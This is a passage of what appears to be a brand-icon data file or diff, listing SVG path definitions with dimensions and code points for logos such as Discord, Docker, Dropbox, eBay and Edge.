181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z"], + "dailymotion": [448, 512, [], "e052", "M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z"], + "dashcube": [448, 512, [], "f210", "M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z"], + "deezer": [576, 512, [], "e077", "M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z"], + "delicious": [448, 512, [], "f1a5", "M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z"], + "deploydog": [512, 512, [], "f38e", "M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z"], + "deskpro": [480, 512, [], "f38f", "M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z"], + "dev": [448, 512, [], "f6cc", "M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z"], + "deviantart": [320, 512, [], "f1bd", "M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z"], + "dhl": [640, 512, [], "f790", "M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z"], + "diaspora": [512, 512, [], "f791", "M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z"], + "digg": [512, 512, [], "f1a6", "M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z"], + "digital-ocean": [512, 512, [], "f391", "M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z"], + "discord": [640, 512, [], "f392", "M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z"], + "discourse": [448, 512, [], "f393", "M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z"], + "dochub": [416, 512, [], "f394", "M397.9 160H256V19.6L397.9 160zM304 192v130c0 66.8-36.5 100.1-113.3 100.1H96V84.8h94.7c12 0 23.1.8 33.1 2.5v-84C212.9 1.1 201.4 0 189.2 0H0v512h189.2C329.7 512 400 447.4 400 318.1V192h-96z"], + "docker": [640, 512, [], "f395", "M349.9 236.3h-66.1v-59.4h66.1v59.4zm0-204.3h-66.1v60.7h66.1V32zm78.2 144.8H362v59.4h66.1v-59.4zm-156.3-72.1h-66.1v60.1h66.1v-60.1zm78.1 0h-66.1v60.1h66.1v-60.1zm276.8 100c-14.4-9.7-47.6-13.2-73.1-8.4-3.3-24-16.7-44.9-41.1-63.7l-14-9.3-9.3 14c-18.4 27.8-23.4 73.6-3.7 103.8-8.7 4.7-25.8 11.1-48.4 10.7H2.4c-8.7 50.8 5.8 116.8 44 162.1 37.1 43.9 92.7 66.2 165.4 66.2 157.4 0 273.9-72.5 328.4-204.2 21.4.4 67.6.1 91.3-45.2 1.5-2.5 6.6-13.2 8.5-17.1l-13.3-8.9zm-511.1-27.9h-66v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm78.1 0h-66.1v59.4h66.1v-59.4zm-78.1-72.1h-66.1v60.1h66.1v-60.1z"], + "draft2digital": [480, 512, [], "f396", "M480 398.1l-144-82.2v64.7h-91.3c30.8-35 81.8-95.9 111.8-149.3 35.2-62.6 16.1-123.4-12.8-153.3-4.4-4.6-62.2-62.9-166-41.2-59.1 12.4-89.4 43.4-104.3 67.3-13.1 20.9-17 39.8-18.2 47.7-5.5 33 19.4 67.1 56.7 67.1 31.7 0 57.3-25.7 57.3-57.4 0-27.1-19.7-52.1-48-56.8 1.8-7.3 17.7-21.1 26.3-24.7 41.1-17.3 78 5.2 83.3 33.5 8.3 44.3-37.1 90.4-69.7 127.6C84.5 328.1 18.3 396.8 0 415.9l336-.1V480zM369.9 371l47.1 27.2-47.1 27.2zM134.2 161.4c0 12.4-10 22.4-22.4 22.4s-22.4-10-22.4-22.4 10-22.4 22.4-22.4 22.4 10.1 22.4 22.4zM82.5 380.5c25.6-27.4 97.7-104.7 150.8-169.9 35.1-43.1 40.3-82.4 28.4-112.7-7.4-18.8-17.5-30.2-24.3-35.7 45.3 2.1 68 23.4 82.2 38.3 0 0 42.4 48.2 5.8 113.3-37 65.9-110.9 147.5-128.5 166.7z"], + "dribbble": [512, 512, [], "f17d", "M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z"], + "dribbble-square": [448, 512, [], "f397", "M90.2 228.2c8.9-42.4 37.4-77.7 75.7-95.7 3.6 4.9 28 38.8 50.7 79-64 17-120.3 16.8-126.4 16.7zM314.6 154c-33.6-29.8-79.3-41.1-122.6-30.6 3.8 5.1 28.6 38.9 51 80 48.6-18.3 69.1-45.9 71.6-49.4zM140.1 364c40.5 31.6 93.3 36.7 137.3 18-2-12-10-53.8-29.2-103.6-55.1 18.8-93.8 56.4-108.1 85.6zm98.8-108.2c-3.4-7.8-7.2-15.5-11.1-23.2C159.6 253 93.4 252.2 87.4 252c0 1.4-.1 2.8-.1 4.2 0 35.1 13.3 67.1 35.1 91.4 22.2-37.9 67.1-77.9 116.5-91.8zm34.9 16.3c17.9 49.1 25.1 89.1 26.5 97.4 30.7-20.7 52.5-53.6 58.6-91.6-4.6-1.5-42.3-12.7-85.1-5.8zm-20.3-48.4c4.8 9.8 8.3 17.8 12 26.8 45.5-5.7 90.7 3.4 95.2 4.4-.3-32.3-11.8-61.9-30.9-85.1-2.9 3.9-25.8 33.2-76.3 53.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 176c0-88.2-71.8-160-160-160S64 167.8 64 256s71.8 160 160 160 160-71.8 160-160z"], + "dropbox": [528, 512, [], "f16b", "M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z"], + "drupal": [448, 512, [], "f1a9", "M319.5 114.7c-22.2-14-43.5-19.5-64.7-33.5-13-8.8-31.3-30-46.5-48.3-2.7 29.3-11.5 41.2-22 49.5-21.3 17-34.8 22.2-53.5 32.3C117 123 32 181.5 32 290.5 32 399.7 123.8 480 225.8 480 327.5 480 416 406 416 294c0-112.3-83-171-96.5-179.3zm2.5 325.6c-20.1 20.1-90.1 28.7-116.7 4.2-4.8-4.8.3-12 6.5-12 0 0 17 13.3 51.5 13.3 27 0 46-7.7 54.5-14 6.1-4.6 8.4 4.3 4.2 8.5zm-54.5-52.6c8.7-3.6 29-3.8 36.8 1.3 4.1 2.8 16.1 18.8 6.2 23.7-8.4 4.2-1.2-15.7-26.5-15.7-14.7 0-19.5 5.2-26.7 11-7 6-9.8 8-12.2 4.7-6-8.2 15.9-22.3 22.4-25zM360 405c-15.2-1-45.5-48.8-65-49.5-30.9-.9-104.1 80.7-161.3 42-38.8-26.6-14.6-104.8 51.8-105.2 49.5-.5 83.8 49 108.5 48.5 21.3-.3 61.8-41.8 81.8-41.8 48.7 0 23.3 109.3-15.8 106z"], + "dyalog": [416, 512, [], "f399", "M0 32v119.2h64V96h107.2C284.6 96 352 176.2 352 255.9 352 332 293.4 416 171.2 416H0v64h171.2C331.9 480 416 367.3 416 255.9c0-58.7-22.1-113.4-62.3-154.3C308.9 56 245.7 32 171.2 32H0z"], + "earlybirds": [480, 512, [], "f39a", "M313.2 47.5c1.2-13 21.3-14 36.6-8.7.9.3 26.2 9.7 19 15.2-27.9-7.4-56.4 18.2-55.6-6.5zm-201 6.9c30.7-8.1 62 20 61.1-7.1-1.3-14.2-23.4-15.3-40.2-9.6-1 .3-28.7 10.5-20.9 16.7zM319.4 160c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm-159.7 0c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm318.5 163.2c-9.9 24-40.7 11-63.9-1.2-13.5 69.1-58.1 111.4-126.3 124.2.3.9-2-.1 24 1 33.6 1.4 63.8-3.1 97.4-8-19.8-13.8-11.4-37.1-9.8-38.1 1.4-.9 14.7 1.7 21.6 11.5 8.6-12.5 28.4-14.8 30.2-13.6 1.6 1.1 6.6 20.9-6.9 34.6 4.7-.9 8.2-1.6 9.8-2.1 2.6-.8 17.7 11.3 3.1 13.3-14.3 2.3-22.6 5.1-47.1 10.8-45.9 10.7-85.9 11.8-117.7 12.8l1 11.6c3.8 18.1-23.4 24.3-27.6 6.2.8 17.9-27.1 21.8-28.4-1l-.5 5.3c-.7 18.4-28.4 17.9-28.3-.6-7.5 13.5-28.1 6.8-26.4-8.5l1.2-12.4c-36.7.9-59.7 3.1-61.8 3.1-20.9 0-20.9-31.6 0-31.6 2.4 0 27.7 1.3 63.2 2.8-61.1-15.5-103.7-55-114.9-118.2-25 12.8-57.5 26.8-68.2.8-10.5-25.4 21.5-42.6 66.8-73.4.7-6.6 1.6-13.3 2.7-19.8-14.4-19.6-11.6-36.3-16.1-60.4-16.8 2.4-23.2-9.1-23.6-23.1.3-7.3 2.1-14.9 2.4-15.4 1.1-1.8 10.1-2 12.7-2.6 6-31.7 50.6-33.2 90.9-34.5 19.7-21.8 45.2-41.5 80.9-48.3C203.3 29 215.2 8.5 216.2 8c1.7-.8 21.2 4.3 26.3 23.2 5.2-8.8 18.3-11.4 19.6-10.7 1.1.6 6.4 15-4.9 25.9 40.3 3.5 72.2 24.7 96 50.7 36.1 1.5 71.8 5.9 77.1 34 2.7.6 11.6.8 12.7 2.6.3.5 2.1 8.1 2.4 15.4-.5 13.9-6.8 25.4-23.6 23.1-3.2 17.3-2.7 32.9-8.7 47.7 2.4 11.7 4 23.8 4.8 36.4 37 25.4 70.3 42.5 60.3 66.9zM207.4 159.9c.9-44-37.9-42.2-78.6-40.3-21.7 1-38.9 1.9-45.5 13.9-11.4 20.9 5.9 92.9 23.2 101.2 9.8 4.7 73.4 7.9 86.3-7.1 8.2-9.4 15-49.4 14.6-67.7zm52 58.3c-4.3-12.4-6-30.1-15.3-32.7-2-.5-9-.5-11 0-10 2.8-10.8 22.1-17 37.2 15.4 0 19.3 9.7 23.7 9.7 4.3 0 6.3-11.3 19.6-14.2zm135.7-84.7c-6.6-12.1-24.8-12.9-46.5-13.9-40.2-1.9-78.2-3.8-77.3 40.3-.5 18.3 5 58.3 13.2 67.8 13 14.9 76.6 11.8 86.3 7.1 15.8-7.6 36.5-78.9 24.3-101.3z"], + "ebay": [640, 512, [], "f4f4", "M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z"], + "edge": [512, 512, [], "f282", "M481.92,134.48C440.87,54.18,352.26,8,255.91,8,137.05,8,37.51,91.68,13.47,203.66c26-46.49,86.22-79.14,149.46-79.14,79.27,0,121.09,48.93,122.25,50.18,22,23.8,33,50.39,33,83.1,0,10.4-5.31,25.82-15.11,38.57-1.57,2-6.39,4.84-6.39,11,0,5.06,3.29,9.92,9.14,14,27.86,19.37,80.37,16.81,80.51,16.81A115.39,115.39,0,0,0,444.94,322a118.92,118.92,0,0,0,58.95-102.44C504.39,176.13,488.39,147.26,481.92,134.48ZM212.77,475.67a154.88,154.88,0,0,1-46.64-45c-32.94-47.42-34.24-95.6-20.1-136A155.5,155.5,0,0,1,203,215.75c59-45.2,94.84-5.65,99.06-1a80,80,0,0,0-4.89-10.14c-9.24-15.93-24-36.41-56.56-53.51-33.72-17.69-70.59-18.59-77.64-18.59-38.71,0-77.9,13-107.53,35.69C35.68,183.3,12.77,208.72,8.6,243c-1.08,12.31-2.75,62.8,23,118.27a248,248,0,0,0,248.3,141.61C241.78,496.26,214.05,476.24,212.77,475.67Zm250.72-98.33a7.76,7.76,0,0,0-7.92-.23,181.66,181.66,0,0,1-20.41,9.12,197.54,197.54,0,0,1-69.55,12.52c-91.67,0-171.52-63.06-171.52-144A61.12,61.12,0,0,1,200.61,228,168.72,168.72,0,0,0,161.85,278c-14.92,29.37-33,88.13,13.33,151.66,6.51,8.91,23,30,56,47.67,23.57,12.65,49,19.61,71.7,19.61,35.14,0,115.43-33.44,163-108.87A7.75,7.75,0,0,0,463.49,377.34Z"], + "edge-legacy": [512, 512, [], "e078", "M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z"], + "elementor": [448, 512, [], "f430", "M425.6 32H22.4C10 32 0 42 0 54.4v403.2C0 470 10 480 22.4 480h403.2c12.4 0 22.4-10 